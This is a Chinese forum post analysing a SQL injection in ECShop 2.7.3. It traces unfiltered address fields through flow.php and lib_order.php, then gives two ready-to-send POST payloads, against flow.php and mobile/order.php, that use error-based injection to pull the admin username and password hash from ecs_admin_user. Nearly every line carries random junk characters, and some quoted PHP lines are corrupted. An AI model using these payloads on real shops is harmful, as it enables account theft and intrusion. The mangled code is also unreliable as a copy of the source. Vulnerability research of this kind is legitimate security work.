前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
5 A v0 [+ B8 x6 ]. G
) [( |" u$ s+ d' y8 ~: K 漏洞关键文件:& y% D9 i' A1 n5 ]9 O( \
S1 a% A+ E; r. e; O: R9 F /includes/lib_order.php J# E3 F& B2 ]/ j+ X
2 I5 K( m6 }3 K8 s2 E- t. S
关键函数:
" k W2 G( S3 p( }% Q4 m4 C) E5 s6 @ S$ J
+ R" b8 m5 F8 Y: g* {
7 Z. k J7 _ n @% Y$ J$ {01 function available_shipping_list($region_id_list)
2 S; m5 h0 m" j% s3 d8 x8 m# u" @; G7 I' g3 M* v9 |
02 {
( c' v! k G' ], b, Q, Q1 T
& D3 Z# H" e X, W4 _% L, L03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . h- `8 X* y4 v' ~; v! x
* [5 j8 g9 c8 @# I+ C% _+ r" h04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
/ T4 v6 f6 q) m6 G8 D; r, p
" i" C! m$ V! i' v/ {05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ! T3 T2 s& k! r0 Z" s( b" k v
' \$ I4 c; x8 R) s6 E0 U06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
6 ^: w( r; \% k6 @: M d
7 C* W6 E( T2 n. x07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
) y" k7 j( G$ g3 W7 k0 m# s. o7 t: p0 ?' y
08 'WHERE r.region_id ' . db_create_in($region_id_list) . ! a( k$ F; e* F* y) q9 G, u
0 e2 \' @" \$ W6 ~- Y% q
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; . L9 T- i" k+ C; N2 s/ e7 z
( t, i1 s: K/ o9 g0 a! \3 D
10 " H( r+ X+ w V. \, a4 {0 f
6 k O- w. _% Y A( [ d11 return $GLOBALS['db']->getAll($sql);
4 Y& k/ F, t3 q6 K1 Q5 A! P2 _/ |
# O( a7 C3 G4 F0 s6 p) n5 d12 }
5 V3 K0 r% D$ c8 @. M
; P# \9 V1 v& Q5 M. o显然对传入的参数没有任何过滤就带入了查询语句。8 c& W G! V7 m+ s
5 e$ _4 O/ p6 \+ ^9 n
下面我们追踪这个函数在flow.php中:
9 z& w0 E. ]5 T5 }; B# K$ O) p 第531行: - v' {5 e' P! K* C) n) B |
) [3 g9 r4 y$ A; E, k1 $shipping_list = available_shipping_list($region); , d* |8 R2 m2 m% A1 T' s4 f
- r3 J8 b0 b; B/ n- b: z
, Y' U8 S% b. P: r0 W
. b: p: q0 U7 ? ` & b. ~! _" b6 ?9 `. F! y
/ p# d- b% J4 Q) t% h5 y2 ~
再对传入变量进行追踪:
3 l; i/ `# V8 G4 C& y+ A, x! W6 x* o5 Y" X c0 r& m& f' I
第530行:
5 A& v. u L. d- N b7 T6 c' k* h B' _+ D! ?9 C- k% F& a6 M: }+ d
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ ]- u1 v8 V, W7 \
5 k" |0 ?: e- _1 i: [" X
( T; Y* U j& ]. ]" P: Z0 _
R9 m2 B" V1 l$ _ ; M, e2 v8 z+ h0 J; g
) U( {4 K S/ c- u0 x; s* h
第473行:
1 K+ b/ b: F G; s$ ^7 }" ]) p
& i6 h& t7 c) p! H1 $consignee = get_consignee($_SESSION['user_id']); & V J: r! ~* a4 ?- z7 K0 I/ B
; t" k2 J3 R5 n ~$ E* P% n' P8 `到了一个关键函数:
1 F5 a" h# K$ l8 P+ j) f- S. w7 ~+ r8 s9 y# \
/includes/lib_order.php9 t& |, H6 t# f& S* k2 m! H
8 p. t$ z! O3 q. q0 s4 p
6 M4 D) l" |8 }3 S3 A- E0 h7 }$ \7 ?1 h: c" A: p1 k i" p
0 M/ K" @4 X, x/ G
6 I; u& j" W! t/ d( I01 function get_consignee($user_id)
9 j* e/ ~$ |% t1 K. w
' {; y6 g2 _ ] i02 { ) O8 S# ]5 i8 L7 m
: L1 { o" K9 {8 {3 x1 k: C9 [& r
03 if (isset($_SESSION['flow_consignee'])) ; q. {$ ^( V" \, D" M
$ }: l9 P+ G. {& h% h- m6 R- a, f04 { ! U4 p7 s) _3 f0 N" o, P) r3 T9 p
; a5 G6 s# Q: R; k" W9 M
05 /* 如果存在session,则直接返回session中的收货人信息 */
" u/ t1 y$ o; Z8 n1 p
2 b; J) L. Q: c4 M- ^1 G4 W; y2 Y06 ) B, O1 \/ H- d/ s8 o
; S2 o: d' v$ @, o% i2 R
07 return $_SESSION['flow_consignee']; " E! K2 P0 R9 o; t6 h. n
) F! f e& x/ f08 } 3 z0 [# h6 ~2 g/ q) V1 m" X" [
- f) u- P- g. O* n. k
09 else 0 C/ E$ O- `1 g4 [, a# I
6 C! G2 w* Q0 w# D" \& N
10 {
@. N# e& N- j/ t& u( w, j' X7 ]( B9 P0 R
11 /* 如果不存在,则取得用户的默认收货人信息 */ 2 q$ U" s( x8 n0 b& [
7 ~1 I m \" C/ f. c
12 $arr = array();
3 y, b$ B& O) |" z( c3 G y0 a6 c& b1 ~% H+ s5 `2 D) `" ^: ?! u" O
13 ' u( f' F$ S$ F% |4 r( U
5 {$ `- Y: z2 x' Y, C! V: I14 if ($user_id > 0)
$ ~* Y, n# z, ?1 ^7 o4 O. s2 o$ H$ O) r# R
15 { , z& [% B4 h* x$ o3 M
/ T. o6 l, W) y2 J* p16 /* 取默认地址 */
h g. Q8 {2 Y; C# M8 W' ]
* v3 {8 S1 r# P0 v, e9 _17 $sql = "SELECT ua.*".
; ^; R) o: B; r+ [! X% ]; E5 h2 U8 c( }
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 2 V* n H# R& N
8 }% i! ]' N1 G; _2 K19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ! f2 z' x7 i) \1 I! d
& h' Q( T2 u: o$ O
20
$ y; [/ @1 E# B5 [( C9 L3 G3 V& |6 y' n; s/ ]
21 $arr = $GLOBALS['db']->getRow($sql);
4 r2 ]6 x1 c/ F, N0 X; [, D# b- I. e) j2 Q- j- Q5 [: J
22 }
7 V ]+ L% g8 b4 J( F% L" q4 I) G+ y" M8 n6 W1 L" n$ b/ b* A
23
! }2 K' N) C/ w
( A% X8 G' n9 R6 }24 return $arr;
7 P# \. f; o ^+ U t9 X
* o3 f$ |5 l0 G4 Y) s25 }
) ^+ [9 L. r/ [ d! w! m% b# w) H
5 r r6 {+ O0 |1 X0 j, I26 }
T$ W, F& ^ Z8 F( n
E4 v ]7 U5 M9 |0 \/ z显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
* m4 T# x9 \9 h! I# k- A1 @" q4 r
0 P* Q! x4 G1 v: z ; F+ |2 c9 r/ g' ` i/ B7 N
8 y% o% ^& A8 F- ]! s J7 P! I
关键点:
+ E* E0 Q4 }# a
* w% o7 o7 c! q第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee); l7 {3 M# F! A4 p" q
+ t! {7 [$ M+ k! G这里对传入参数反转义存入$_SESSION中。 v* M6 ~$ K$ t& L z
6 [, p3 F, x+ g+ g- J, ?, u
5 D7 f* h' W# F3 b& ~ n
5 P* O0 B; @) b! F- y. l0 f然后看下:6 i8 D% X. R+ G! [1 x2 c
6 t/ N+ g/ C9 m9 a4 H4 ]. q7 x 7 N2 D6 x4 D; M8 d2 u
% G p3 u6 J3 [
- T1 S- b8 e1 s( ^- j: |
6 K9 u" \ ]" b4 [$ d01 $consignee = array( 8 d- _* i9 N- C2 e2 y& I
; P& p' l0 e" O- a5 j
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 9 j0 T$ p# J" z, Q' Z% b: E" k4 W' R
: ~6 ~" Y& |1 H! i' p* N+ A
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), . I0 u. _/ V- U1 l
0 P2 a) a Q& U8 t) P8 X" c5 Q04 'country' => empty($_POST['country']) ? '' _POST['country'], : W( L' n# w7 a
5 B5 ~- g9 M; L) S+ ^8 n8 o7 V
05 'province' => empty($_POST['province']) ? '' _POST['province'], . ?. A$ h: z6 @+ T: e0 ~/ |/ B
, u% l; t+ H# B p
06 'city' => empty($_POST['city']) ? '' _POST['city'], 4 v; C! e) Q% J7 z( T* x: R
9 A8 e6 d0 ~# r6 l! j, D. m
07 'district' => empty($_POST['district']) ? '' _POST['district'],
3 P; U. b/ T* ?. g8 L8 O$ n' v; T- e- l! Z+ b) y3 L7 S; S7 L
08 'email' => empty($_POST['email']) ? '' _POST['email'],
s; @$ K$ ]8 c- Q: M! O; f* R& G+ A0 e1 p& A& L7 Y" {9 X. r, N
09 'address' => empty($_POST['address']) ? '' _POST['address'], ; x0 ~) K4 r- l' s+ l0 e6 }
7 j& H1 |! t2 z4 n! K) w! C/ \
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), : ?% A$ g4 l) F0 k; P
. g8 d2 D# ~9 \7 S" e+ \0 T2 G
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
+ X" P. F! @) ?& l [2 f2 _( V
5 c0 n" L. k# T) x1 b12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
$ G& @5 ?, s( w; _, P: ~6 ^% V+ t# L4 z8 z6 x2 A8 O: x
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], . \8 {; o! {7 ^1 m$ m
8 E8 \6 s2 J* Y: L; [* V
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
5 g, o& s) t- V. S# ` ~
9 P( q9 S% [! {15 ); 8 t5 M) Q; P9 M4 X
) J8 f8 @3 u9 S
好了注入就这样出现了。
2 w) c( m! [* U. X- r$ B% f, `
* g4 w ~2 U. k4 c8 {==================0 `4 }+ z, J1 Q8 U$ s0 Z
7 W0 \8 v; L/ c+ r
注入测试:: s6 C: E; f9 e& U
. ?7 ~) }: K& T2 f
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)( r9 n$ B: c, B0 S
* w5 ^; N6 W' d, w; {) C8 u1 n
测试程序:ECShop_V2.7.3_UTF8_release11069 U0 k% |, }! J2 C* q% o
+ W1 E9 L% e% B/ S; u4 D
5 n& ]- M2 @: o7 O
8 x% s& [- l- g( t6 F6 Z8 M1.首先需要点击一个商品加入购物车 X, p& W$ ?4 q+ j& X% U
. e3 @ B: @$ v" ^2.注册一个会员帐号
& R1 B I# X9 `1 ^5 c! t
; F3 W( u8 W& K8 T G$ z2 d3.post提交数据3 t9 d4 Q6 h0 A& Y* v+ Y
2 A: R3 \, l; |0 z- L
! m* m7 F. u$ _/ h6 ` r' M$ E* ?2 e. p$ F
1 http://127.0.0.1/ecshop/flow.php - Y* J. F' K. o3 Q3 D* G' ?. l+ Q
/ k8 N1 v3 q* B/ H5 a( D6 B4 k2 6 F6 M3 m: q* G. h$ q
9 J" j; x' b9 j, t( Z0 X/ h- N, Y: T
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= & l/ w [7 d: Z- Y; B+ m
举一反三,我们根据这个漏洞我们可以继续深入挖掘:+ c7 O+ G9 y \& @
" [: | z( u/ A; [- r# U8 [2 J# k我们搜寻关键函数function available_shipping_list()
# t/ D: ^0 y" q# T: ^% x* v5 w( Y! | ^6 L! O7 P- \
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
6 C% p8 ~- h6 K% c0 R9 ]4 @
1 J+ ^) n1 s3 |0 [; ]7 q) _利用exp:
/ K6 z/ G4 ^2 R3 f# D) r5 w% e
' ?' C" {8 e! z, d1.点击一个商品,点击购买商标
; f. S/ I: {/ ~5 P0 O
, [" ^1 g1 u* H$ T1 Q8 @2.登录会员帐号; g5 Q8 b# T4 U7 l% B
9 g4 N" z& @; D3 ^3.post提交:
4 f8 L/ M1 p, K3 |9 Q+ V+ r/ W/ W1 T+ z( ]$ `
http://127.0.0.1/ecshop/mobile/order.php
! K3 l7 d7 c5 a; X e5 m' I) B( I. ]+ T. B0 l- `. [* _" H; N
: E; r+ b) E& ]. G2 a! D" `5 a. J a3 L) \+ O# q" [* u1 P. i) v1 W
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=+ W% b/ I$ R6 `% G) A! q
) N2 S1 C6 m! L |